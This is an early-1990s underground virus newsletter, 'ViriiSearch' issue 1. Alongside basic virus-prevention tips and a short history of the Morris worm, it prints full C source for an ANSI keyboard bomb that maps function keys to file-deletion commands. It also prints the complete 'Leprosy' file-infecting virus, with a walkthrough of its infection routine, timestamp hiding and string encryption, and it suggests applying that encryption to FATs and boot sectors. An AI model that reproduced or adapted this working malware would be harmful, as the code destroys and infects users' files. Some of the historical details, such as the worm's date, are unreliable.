1777 lines
36 KiB
Plaintext
1777 lines
36 KiB
Plaintext
DISCLAIMER:
|
||
|
||
The author will NOT accept responsibility for any damage to your
|
||
|
||
computer media and/or files, or responsibility for any action you might
|
||
|
||
take that will result in legal proceedings, the source code, if any, in
|
||
|
||
this newsletter is THE REAL THING, and you, after you read this, will be
|
||
|
||
well aware of what virii are capable of, and knowing that, it is expected
|
||
|
||
that you will act responsibly.
|
||
|
||
|
||
|
||
DISCLAIMER II:
|
||
|
||
All I know about programming I have learned on my own, and did not go to
|
||
|
||
school for, and am still learning. As a result, I am sometimes prone to
|
||
|
||
make mistakes, and be wrong about things, so please be patient if I should
|
||
|
||
make a mistake, or say something that isn't true, which would be totally
|
||
|
||
unintentional.
|
||
|
||
|
||
|
||
|
||
|
||
ViriiSearch
|
||
|
||
-----------
|
||
|
||
|
||
|
||
The Virus Research Newsletter
|
||
|
||
|
||
|
||
Volume 1, Number 1
|
||
|
||
|
||
|
||
CREDITS:
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Author...................................................Criminal Minded <tm>
|
||
|
||
Editor...................................................Criminal Minded <tm>
|
||
|
||
Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
|
||
|
||
Facts Stolen From Several Sources By.....................Criminal Minded <tm>
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Introduction:
|
||
|
||
|
||
|
||
Welcome To The First Issue Of Viriisearch, The Virus Research Newsletter.
|
||
|
||
|
||
|
||
I have always had a fascination of computer virii, since I first heard the
|
||
|
||
word. I, like a lot of people, had no idea what they were about, and was
|
||
|
||
extremely curious. And this newsletter will cover my process as I find out
|
||
|
||
more about them. How they are written, why they act like they do, and if
|
||
|
||
possible, why people would write them.
|
||
|
||
|
||
|
||
In this issue:
|
||
|
||
|
||
|
||
Prevention And Protection Methods
|
||
|
||
The "Internet Worm"
|
||
|
||
Trojans, Worms, Virii, Ansi Bombs: What's the difference?
|
||
|
||
Benign VS Malignant Virii
|
||
|
||
Sample Source Code Of Virii
|
||
|
||
Discussion Of The Infection And Encryption Methods Used By "Leprosy"
|
||
|
||
The "Uncompress" Virus
|
||
|
||
"Suicidal Tendencies" Department/Virus Of The Month
|
||
|
||
Discussion Of Anti Viral Software
|
||
|
||
Things You Should Know
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Prevention And Protection Methods:
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
After the infamous "Michelangelo" panic, I realized what the masses are
|
||
|
||
lacking is virus literacy. If people had a understanding of them, and knew
|
||
|
||
the appropriate methods of prevention, and dealing with a infection, the
|
||
|
||
situation would've never been blown out of proportion like it was. When I
|
||
|
||
hear people ask questions such as "If I Put My Toothbrush Near A Infected
|
||
|
||
Disk, Will I Catch The Virus When I Brush My Teeth?" I have to laugh...Ok,
|
||
|
||
maybe that example is a little exaggerated, but some of the questions are
|
||
|
||
hitting close to that level of stupidity, so here are some protection and
|
||
|
||
prevention methods:
|
||
|
||
|
||
|
||
1. If you download a file from a public BBS, or a friend gives you a file
|
||
|
||
that he downloaded from somewhere, be sure and uncompress the file onto
|
||
|
||
a floppy and run your virus scanner on it. NEVER run a new file without
|
||
|
||
checking it first. Some people believe a virus scanner can spot a file
|
||
|
||
that is infected within a compressed file by running the virus scanner
|
||
|
||
on it, this is NOT true. You have to decompress the file first.
|
||
|
||
|
||
|
||
By doing this, you are dropping your chances of infection considerably
|
||
|
||
BUT there is always the chance of a unknown virus that the scanner won't
|
||
|
||
spot so that is why you have to ALWAYS have a backup of all your data on
|
||
|
||
tape or disk. That way if the unknown virus wipes your hard drive, you
|
||
|
||
have the backup and nothing is lost.
|
||
|
||
|
||
|
||
2. In the event of a virus infection, shut your computer off immediately and
|
||
|
||
wait 10-20 seconds. NEVER do a "warm boot" (CTRL-ALT-DEL) because some
|
||
|
||
virii can survive through a warm boot. Always do a "cold boot" (Shut the
|
||
|
||
computer OFF). After the 10-20 seconds, boot your computer from a CLEAN
|
||
|
||
WRITE PROTECTED DOS Bootable disk, and then run your virus scanner from
|
||
|
||
a WRITE PROTECTED disk. (The reason for having the disks write protected
|
||
|
||
is just in case the virus is still lurking around, it won't be able to
|
||
|
||
write itself and infect the floppies). If the virus is a known one, have
|
||
|
||
the virus scanner either fix the infected files, or delete them (and
|
||
|
||
replace from your backup) or make a note of the infected files and erase
|
||
|
||
them manually.
|
||
|
||
|
||
|
||
3. How do you spot a attack by a unknown virus?
|
||
|
||
|
||
|
||
A) Change in sizes of files
|
||
|
||
B) Change of file dates/times
|
||
|
||
C) Deleted files
|
||
|
||
D) Slower processing time
|
||
|
||
E) Unusual messages
|
||
|
||
F) Disk activity, more than usual (Writing to the disk when it's not
|
||
|
||
neccesary)
|
||
|
||
|
||
|
||
4. What to do in the event of a unknown virus attack?
|
||
|
||
|
||
|
||
A) Follow steps of shutting machine off and re-booting as outlined in
|
||
|
||
#2
|
||
|
||
B) Run your virus scanner and have it look for files that changed in
|
||
|
||
size or date (if your scanner has a feature that makes note of
|
||
|
||
original virus sizes/dates/times)
|
||
|
||
C) If your virus scanner doesn't make note of original sizes/dates/times
|
||
|
||
you can always make note of them manually and then check them yourself.
|
||
|
||
It's time consuming, but can prevent serious damage to your data, and
|
||
|
||
you should try to isolate a infected file and send it to ME (info on
|
||
|
||
how to get it to me at the end of the newsletter) so I can attempt to
|
||
|
||
dissect it and notify the appropriate person of the new virus.
|
||
|
||
D) Some virus scanners come with a TSR that will prevent any writing to
|
||
|
||
disk, it will pop a window or message on the screen saying: Attempting
|
||
|
||
to write to <filename> Do you wish to do so? If something is trying to
|
||
|
||
write to a file that shouldn't be written to at that time, chances are
|
||
|
||
you are dealing with a unknown virus and should say no. Then try to
|
||
|
||
find and isolate the virus.
|
||
|
||
E) How do you spot a unknown virus or a known virus without running
|
||
|
||
a virus scanner?
|
||
|
||
|
||
|
||
1) Most virii are tiny (2 kilobytes to 10 kilobytes) and the majority
|
||
|
||
of them are .COM files so if you have, let's say, a 6K .COM file
|
||
|
||
that claims to be a "awesome game" I'd be a little bit suspicious.
|
||
|
||
2) Weird names. I would not run "DIE.COM" or "KILLER.COM" and over
|
||
|
||
the years I have run into files named that, when people tried to
|
||
|
||
infect my computer. At least they could've named it something else
|
||
|
||
not so obvious.
|
||
|
||
3) As stated in #1, the MAJORITY of them are small .COM files but they
|
||
|
||
can be .EXE files as well, and bigger then 10K.
|
||
|
||
|
||
|
||
All it takes is a little bit of common sense, and 99% of what could've been
|
||
|
||
virus attacks on your computer can be prevented. All you have to remember is
|
||
|
||
that they cannot infect your machine unless run first...BUT there is one
|
||
|
||
virus out there that, when uncompressed, activates itself. This virus does
|
||
|
||
NOT have to be executed in order to infect your machine, and it will be
|
||
|
||
discussed later on. In the event of where this "uncompress" virus wipes some
|
||
|
||
of your data, or any other virus, that's what backups are for. ALWAYS HAVE A
|
||
|
||
BACKUP OF YOUR HARD DRIVE and NEVER put a floppy in the drive and run a
|
||
|
||
program when there is a virus in memory because, chances are, that floppy
|
||
|
||
will get ruined/infected as well, unless it is write protected. The instant
|
||
|
||
you are aware of a infection, shut the machine off! Because there are some
|
||
|
||
virii that, upon finding a write protected floppy that it cannot infect, or
|
||
|
||
something else it can't do, "get mad" and cause destruction.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
The "Internet Worm"
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
This has to be the most widely publicized case of a virus attack ever.
|
||
|
||
|
||
|
||
On 10/02/88, Robert Morris Jr., a graduate student, wrote and released a worm
|
||
|
||
that infected "Internet" the worldwide network. Within hours, it infected
|
||
|
||
thousands of computers. The worm was benign, not causing any damage to files
|
||
|
||
or media, but replicated itself over and over rapidly, and resulted in the
|
||
|
||
computers on Internet having to be shut down and all copies of the worm
|
||
|
||
removed. Some of the hosts were still disconnected from the network eight
|
||
|
||
days later, showing the impact this worm had. Morris claimed he did it as a
|
||
|
||
experiment, and made a mistake in how fast it actually would replicate. The
|
||
|
||
media, namely NY Times, USA Today, and The Wall Street Journal, gave the worm
|
||
|
||
front page coverage. On November 4th, teams at several institutions went to
|
||
|
||
work and successfully "decompiled" the worm and studied it in the language it
|
||
|
||
was written in, "C language", but the source code was never released for fear
|
||
|
||
of hackers using the source for malicious purposes. In the end, Morris was
|
||
|
||
removed from school, ordered to pay $10,000 in fines, perform 400 hours of
|
||
|
||
community services and was on 3 years probation. Some people argued as to
|
||
|
||
whether or not Morris was guilty because he evidently didn't do it to cause
|
||
|
||
damage, but rather as a experiment that went wrong.
|
||
|
||
|
||
|
||
What the worm did: It hacked it's way into hosts attached to the internet by
|
||
|
||
cracking passwords and then replicated itself rapidly, taking up all the
|
||
|
||
memory and forcing the hosts to be shut down.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Trojans, Worms, Virii, Ansi Bombs: What's the difference?
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Trojans: Programs disguised as a useful program or a existing real program
|
||
|
||
that can cause damage on your system.
|
||
|
||
|
||
|
||
Worms: Benign virii, rarely causing damage to media or files, such as the
|
||
|
||
Internet worm.
|
||
|
||
|
||
|
||
Ansi Bombs: Tiny programs that use ANSI to remap your keyboard causing keys,
|
||
|
||
when pressed, to do other things.
|
||
|
||
|
||
|
||
Example: If a ansi bomb was in memory, and it remapped the "K" key to erase
|
||
|
||
all the files in the current directory, as soon as you pressed K
|
||
|
||
the files would be gone. Usually when you type C>ERASE *.*
|
||
|
||
MS-DOS will respond with: All the files in the current directory
|
||
|
||
will be deleted! Are you sure (y/n)?
|
||
|
||
|
||
|
||
Some ansi bombs are intelligent and can prevent such DOS messages
|
||
|
||
from appearing.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Here is the source code to a simple ansi bomb:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
#include <stdio.h>
|
||
|
||
#define KILL(K, S) printf("\033[0;%d;\"%s\";13p", K, S)
|
||
|
||
#define F1 59
|
||
|
||
#define F2 60
|
||
|
||
#define F3 61
|
||
|
||
#define F4 62
|
||
|
||
main()
|
||
|
||
{
|
||
|
||
KILL(F1, "DEL *.ZIP");
|
||
|
||
KILL(F2, "DEL *.ARJ");
|
||
|
||
KILL(F3, "DEL *.COM");
|
||
|
||
KILL(F4, "DEL *.EXE");
|
||
|
||
}
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
This just assigns the string (DEL *.ZIP etc) to the respective keys. If this
|
||
|
||
ansi bomb was in memory, and you pressed F1, it would delete all the files
|
||
|
||
in the current directory with the extension of .ZIP. The command (DEL *.ZIP)
|
||
|
||
would appear on the screen though, and you could use a file recovery program
|
||
|
||
to recover the deleted files. There are more lethal ansi bombs, ones that can
|
||
|
||
format your hard drive and other such destructive acts.
|
||
|
||
|
||
|
||
Prevention: Use NANSI or ZANSI rather than ANSI and the ansi bombs won't work.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Virii: Destructive programs that use 'stealth' techniques, and can replicate.
|
||
|
||
Not All virii are destructive, some can be benign, and just pop up
|
||
|
||
annoying messages time to time or slow down system speed.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
No more will be discussed of ANSI Bombs or Trojans as this newsletter is
|
||
|
||
dedicated entirely to virii.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Benign VS Malignant Virii:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Benign Virii do not cause damage but do things such as take up all the memory,
|
||
|
||
slow processing speed down, and send annoying messages to the console, or the
|
||
|
||
printer, etc...
|
||
|
||
|
||
|
||
Maligant, or Malicious, Virii cause actual destruction, deleting files,
|
||
|
||
destroying the FAT or boot sector, locking up the computer, formatting disks
|
||
|
||
or hard drives, etc...
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Virus Source Code:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Now for the real thing, we will start with the C Language source code to the
|
||
|
||
"Leprosy" Virus.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
#pragma inline
|
||
|
||
|
||
|
||
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
|
||
|
||
#define NO_MATCH 0x12 /* No match in wildcard search. */
|
||
|
||
|
||
|
||
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
|
||
|
||
char *virus_msg[3] =
|
||
|
||
{
|
||
|
||
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
|
||
|
||
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
|
||
|
||
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
|
||
|
||
};
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
struct _dta /* Disk Transfer Area format for find. */
|
||
|
||
{
|
||
|
||
char findnext[21];
|
||
|
||
char attribute;
|
||
|
||
int timestamp;
|
||
|
||
int datestamp;
|
||
|
||
long filesize;
|
||
|
||
char filename[13];
|
||
|
||
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
|
||
|
||
|
||
|
||
|
||
|
||
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
|
||
|
||
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
|
||
|
||
const int virus_size = 666; /* The size in bytes of the virus code. */
|
||
|
||
const int infection_rate = 4; /* How many files to infect per run. */
|
||
|
||
|
||
|
||
char compare_buf[20]; /* Load program here to test infection. */
|
||
|
||
int handle; /* The current file handle being used. */
|
||
|
||
int datestamp, timestamp; /* Store original date and time here. */
|
||
|
||
char diseased_count = 0; /* How many infected files found so far. */
|
||
|
||
char success = 0; /* How many infected this run. */
|
||
|
||
|
||
|
||
|
||
|
||
/* The following are function prototypes, in keeping with ANSI */
|
||
|
||
/* Standard C, for the support functions of this program. */
|
||
|
||
|
||
|
||
int find_first( char *fn );
|
||
|
||
int find_healthy( void );
|
||
|
||
int find_next( void );
|
||
|
||
int healthy( void );
|
||
|
||
void infect( void );
|
||
|
||
void close_handle( void );
|
||
|
||
void open_handle( char *fn );
|
||
|
||
void print_s( char *s );
|
||
|
||
void restore_timestamp( void );
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
/*----------------------------------*/
|
||
|
||
/* M A I N P R O G R A M */
|
||
|
||
/*----------------------------------*/
|
||
|
||
|
||
|
||
int main( void ) {
|
||
|
||
int x = 0;
|
||
|
||
do {
|
||
|
||
if ( find_healthy() ) { /* Is there an un-infected file? */
|
||
|
||
infect(); /* Well, then infect it! */
|
||
|
||
x++; /* Add one to the counter. */
|
||
|
||
success++; /* Carve a notch in our belt. */
|
||
|
||
}
|
||
|
||
else { /* If there ain't a file here... */
|
||
|
||
_DX = (int) ".."; /* See if we can step back to */
|
||
|
||
_AH = 0x3b; /* the parent directory, and try */
|
||
|
||
asm int 21H; /* there. */
|
||
|
||
x++; /* Increment the counter anyway, to */
|
||
|
||
} /* avoid infinite loops. */
|
||
|
||
} while( x < infection_rate ); /* Do this until we've had enough. */
|
||
|
||
if ( success ) /* If we got something this time, */
|
||
|
||
print_s( fake_msg ); /* feed 'em the phony error line. */
|
||
|
||
else
|
||
|
||
if ( diseased_count > 6 ) /* If we found 6+ infected files */
|
||
|
||
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
|
||
|
||
print_s( virus_msg[x] );
|
||
|
||
else
|
||
|
||
print_s( fake_msg ); /* Otherwise, keep a low profile. */
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
void infect( void ) {
|
||
|
||
_DX = (int) dta->filename; /* DX register points to filename. */
|
||
|
||
_CX = 0x00; /* No attribute flags are set. */
|
||
|
||
_AL = 0x01; /* Use Set Attribute sub-function. */
|
||
|
||
_AH = 0x43; /* Assure access to write file. */
|
||
|
||
asm int 21H; /* Call DOS interrupt. */
|
||
|
||
open_handle( dta->filename ); /* Re-open the healthy file. */
|
||
|
||
_BX = handle; /* BX register holds handle. */
|
||
|
||
_CX = virus_size; /* Number of bytes to write. */
|
||
|
||
_DX = (int) codestart; /* Write program code. */
|
||
|
||
_AH = 0x40; /* Set up and call DOS. */
|
||
|
||
asm int 21H;
|
||
|
||
restore_timestamp(); /* Keep original date & time. */
|
||
|
||
close_handle(); /* Close file. */
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
int find_healthy( void ) {
|
||
|
||
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
|
||
|
||
if ( healthy() ) /* If it's healthy, OK! */
|
||
|
||
return 1;
|
||
|
||
else
|
||
|
||
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
||
|
||
if ( healthy() )
|
||
|
||
return 1; /* If you find one, great! */
|
||
|
||
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
|
||
|
||
if ( healthy() ) /* If it's healthy, OK! */
|
||
|
||
return 1;
|
||
|
||
else
|
||
|
||
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
||
|
||
if ( healthy() )
|
||
|
||
return 1; /* If you find one, great! */
|
||
|
||
return 0; /* Otherwise, say so. */
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
int healthy( void ) {
|
||
|
||
int i;
|
||
|
||
datestamp = dta->datestamp; /* Save time & date for later. */
|
||
|
||
timestamp = dta->timestamp;
|
||
|
||
open_handle( dta->filename ); /* Open last file located. */
|
||
|
||
_BX = handle; /* BX holds current file handle. */
|
||
|
||
_CX = 20; /* We only want a few bytes. */
|
||
|
||
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
|
||
|
||
_AH = 0x3f; /* Read in file for comparison. */
|
||
|
||
asm int 21H;
|
||
|
||
restore_timestamp(); /* Keep original date & time. */
|
||
|
||
close_handle(); /* Close the file. */
|
||
|
||
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
|
||
|
||
if ( compare_buf[i] != *(codestart+i) )
|
||
|
||
return 1; /* If no match, return healthy. */
|
||
|
||
diseased_count++; /* Chalk up one more fucked file. */
|
||
|
||
return 0; /* Otherwise, return infected. */
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
void restore_timestamp( void ) {
|
||
|
||
_AL = 0x01; /* Keep original date & time. */
|
||
|
||
_BX = handle; /* Same file handle. */
|
||
|
||
_CX = timestamp; /* Get time & date from DTA. */
|
||
|
||
_DX = datestamp;
|
||
|
||
_AH = 0x57; /* Do DOS service. */
|
||
|
||
asm int 21H;
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
void print_s( char *s ) {
|
||
|
||
char *p = s;
|
||
|
||
while ( *p ) { /* Subtract 10 from every character. */
|
||
|
||
*p -= 10;
|
||
|
||
p++;
|
||
|
||
}
|
||
|
||
_DX = (int) s; /* Set DX to point to adjusted string. */
|
||
|
||
_AH = 0x09; /* Set DOS function number. */
|
||
|
||
asm int 21H; /* Call DOS interrupt. */
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
int find_first( char *fn ) {
|
||
|
||
_DX = (int) fn; /* Point DX to the file name. */
|
||
|
||
_CX = 0xff; /* Search for all attributes. */
|
||
|
||
_AH = 0x4e; /* 'Find first' DOS service. */
|
||
|
||
asm int 21H; /* Go, DOS, go. */
|
||
|
||
return _AX; /* Return possible error code. */
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
int find_next( void ) {
|
||
|
||
_AH = 0x4f; /* 'Find next' function. */
|
||
|
||
asm int 21H; /* Call DOS. */
|
||
|
||
return _AX; /* Return any error code. */
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
void open_handle( char *fn ) {
|
||
|
||
_DX = (int) fn; /* Point DX to the filename. */
|
||
|
||
_AL = 0x02; /* Always open for both read & write. */
|
||
|
||
_AH = 0x3d; /* "Open handle" service. */
|
||
|
||
asm int 21H; /* Call DOS. */
|
||
|
||
handle = _AX; /* Assume handle returned OK. */
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
void close_handle( void ) {
|
||
|
||
_BX = handle; /* Load BX register w/current file handle. */
|
||
|
||
_AH = 0x3e; /* Set up and call DOS service. */
|
||
|
||
asm int 21H;
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
With source code discussed in this newsletter, main areas covered will be on
|
||
|
||
encryption techniques, how the virus infects files, how they 'replicate'
|
||
|
||
and 'breed' and how 'stealth techniques' are implemented in the code.
|
||
|
||
|
||
|
||
In this case we will cover how the virus infects the files and encrypts.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Infection Method:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
void infect( void ) {
|
||
|
||
_DX = (int) dta->filename; /* DX register points to filename. */
|
||
|
||
_CX = 0x00; /* No attribute flags are set. */
|
||
|
||
_AL = 0x01; /* Use Set Attribute sub-function. */
|
||
|
||
_AH = 0x43; /* Assure access to write file. */
|
||
|
||
asm int 21H; /* Call DOS interrupt. */
|
||
|
||
open_handle( dta->filename ); /* Re-open the healthy file. */
|
||
|
||
_BX = handle; /* BX register holds handle. */
|
||
|
||
_CX = virus_size; /* Number of bytes to write. */
|
||
|
||
_DX = (int) codestart; /* Write program code. */
|
||
|
||
_AH = 0x40; /* Set up and call DOS. */
|
||
|
||
asm int 21H;
|
||
|
||
restore_timestamp(); /* Keep original date & time. */
|
||
|
||
close_handle(); /* Close file. */
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
void infect( void ) is just what he named this function.
|
||
|
||
|
||
|
||
The function will return nothing, and be called with no parameters as the two
|
||
|
||
"voids" suggest.
|
||
|
||
|
||
|
||
Register DX points to the filename as declared in the structure "_dta"
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
_dta structure:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
struct _dta
|
||
|
||
{
|
||
|
||
char findnext[21];
|
||
|
||
char attribute;
|
||
|
||
int timestamp;
|
||
|
||
int datestamp;
|
||
|
||
long filesize;
|
||
|
||
char filename[13];
|
||
|
||
} *dta = (struct _dta *) 0x80;
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Next in the "infect" function, 0x00 is assigned to the CX register.
|
||
|
||
|
||
|
||
With function 43H in assembly, register CX is assigned with the bit of the
|
||
|
||
attribute that you want to set the file to.
|
||
|
||
|
||
|
||
Bit: Attribute:
|
||
|
||
|
||
|
||
0 Read Only
|
||
|
||
1 Hidden
|
||
|
||
2 System
|
||
|
||
3-4 Reserved
|
||
|
||
5 Archive
|
||
|
||
6-15 Reserved
|
||
|
||
|
||
|
||
Because the author assigned 0x00 to CX, none of the above attributes were set
|
||
|
||
on the file, allowing it to be written to.
|
||
|
||
|
||
|
||
Next in the "infect" function is 0x01 being assigned to register AL
|
||
|
||
|
||
|
||
0x01 is telling the program we want to SET attributes.
|
||
|
||
|
||
|
||
Then following that is: 0x43 being assigned to AH
|
||
|
||
|
||
|
||
Which is telling the program we want to use function 43H (Get/Set Attributes)
|
||
|
||
|
||
|
||
The current handle is assigned to register BX
|
||
|
||
|
||
|
||
The size of the virus code, or the number of bytes to write, stored in the
|
||
|
||
integer "virus_size" is assigned to register CX
|
||
|
||
|
||
|
||
virus_size is declared and initialized at the beginning of the source code
|
||
|
||
as a integer with the value "666"
|
||
|
||
|
||
|
||
Then the virus code is written to the file, the file is closed and the
|
||
|
||
original date and time the file had are restored.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
The Method Of Encryption:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
void print_s( char *s ) {
|
||
|
||
char *p = s;
|
||
|
||
while ( *p ) { /* Subtract 10 from every character. */
|
||
|
||
*p -= 10;
|
||
|
||
p++;
|
||
|
||
}
|
||
|
||
_DX = (int) s; /* Set DX to point to adjusted string. */
|
||
|
||
_AH = 0x09; /* Set DOS function number. */
|
||
|
||
asm int 21H; /* Call DOS interrupt. */
|
||
|
||
return;
|
||
|
||
}
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
The above function used in "Leprosy", called "print_s" accepts one parameter,
|
||
|
||
a string of text, like these ones defined at the beginning of the Leprosy
|
||
|
||
source code:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
char *virus_msg[3] =
|
||
|
||
{
|
||
|
||
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
|
||
|
||
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
|
||
|
||
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
|
||
|
||
};
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Note: CRLF is defined as "\x17\x14" at the beginning of the source, \x17
|
||
|
||
being the hexadecimal code for a carriage return and \x14 the code for a line
|
||
|
||
feed.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
When a string is passed to the "print_s" function, it is un-encrypted.
|
||
|
||
|
||
|
||
print_s(virus_msg[0]);
|
||
|
||
print_s(virus_msg[1]);
|
||
|
||
print_s(virus_msg[2]);
|
||
|
||
|
||
|
||
would result in the following being printed to the screen:
|
||
|
||
------------------------------------------------------------
|
||
|
||
|
||
|
||
NEWS FLASH!! Your system has been infected with the
|
||
|
||
|
||
|
||
incurable decay of LEPROSY 1.00, a virus invented by
|
||
|
||
|
||
|
||
PCM2 in June of 1990. Good luck!
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
The compiler I currently use does not accept inline assembly
|
||
|
||
code as the author of leprosy had in his source so I modified
|
||
|
||
the "print_s" function so I could compile it:
|
||
|
||
|
||
|
||
For those interested, I use Microsoft Quick C (C) Microsoft
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
|
||
/* NOTE: I removed the . from the end of each message because that is */
|
||
|
||
/* A $ when un-encrypted, and the $ to terminate the string is only */
|
||
|
||
/* required for the assembly version of the "print_s" function */
|
||
|
||
|
||
|
||
/* Also: The hexadecimal constants in the strings are as follows: */
|
||
|
||
|
||
|
||
/* \x13 = TAB, \x7f = u, \x83 = y, \x81 = w, \x80 = v */
|
||
|
||
|
||
|
||
|
||
|
||
#include <stdio.h>
|
||
|
||
#define CRLF "\x17\x14"
|
||
|
||
char *virus_msg[3] =
|
||
|
||
{
|
||
|
||
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro",
|
||
|
||
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83",
|
||
|
||
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14"
|
||
|
||
};
|
||
|
||
|
||
|
||
void print_s (char *s);
|
||
|
||
int main (void);
|
||
|
||
|
||
|
||
main()
|
||
|
||
{
|
||
|
||
print_s(virus_msg[0]);
|
||
|
||
print_s(virus_msg[1]);
|
||
|
||
print_s(virus_msg[2]);
|
||
|
||
}
|
||
|
||
|
||
|
||
void print_s (char *s) {
|
||
|
||
char *p = s;
|
||
|
||
while ( *p ) {
|
||
|
||
*p -= 10;
|
||
|
||
p++;
|
||
|
||
}
|
||
|
||
printf("%s\n",s);
|
||
|
||
}
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
*p -= 10; is what does it all. It adds the value of 10 to each character and
|
||
|
||
can be used either way, to unencrypt or to encrypt.
|
||
|
||
|
||
|
||
if you change it to: *p += 10;
|
||
|
||
|
||
|
||
it will then encrypt.
|
||
|
||
|
||
|
||
You can also change it to:
|
||
|
||
|
||
|
||
*p -= rand() % 35000; /* #include <stdio.h> for "rand()" */
|
||
|
||
|
||
|
||
and it will change the value it uses to encrypt or un-encrypt everytime it
|
||
|
||
passes through the "while" loop or you can change it to any value you like.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
This method of encryption can be used to encrypt files, file allocation
|
||
|
||
tables, boot sectors, etc. All you need is a function that reads and writes
|
||
|
||
either of the three. For instance, read the contents of the File Allocation
|
||
|
||
Table, and pass the string(s) through the print_s function and then write
|
||
|
||
the encrypted string(s) back to the File Allocation Table. I don't suggest
|
||
|
||
doing this to your hard drive, or anyone elses, for it will result in either
|
||
|
||
you or the other person having to crack the encryption and restore the FAT
|
||
|
||
manually, or formatting the hard drive and replacing all the files. If you
|
||
|
||
want to experiment, do it on a floppy, like I did.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
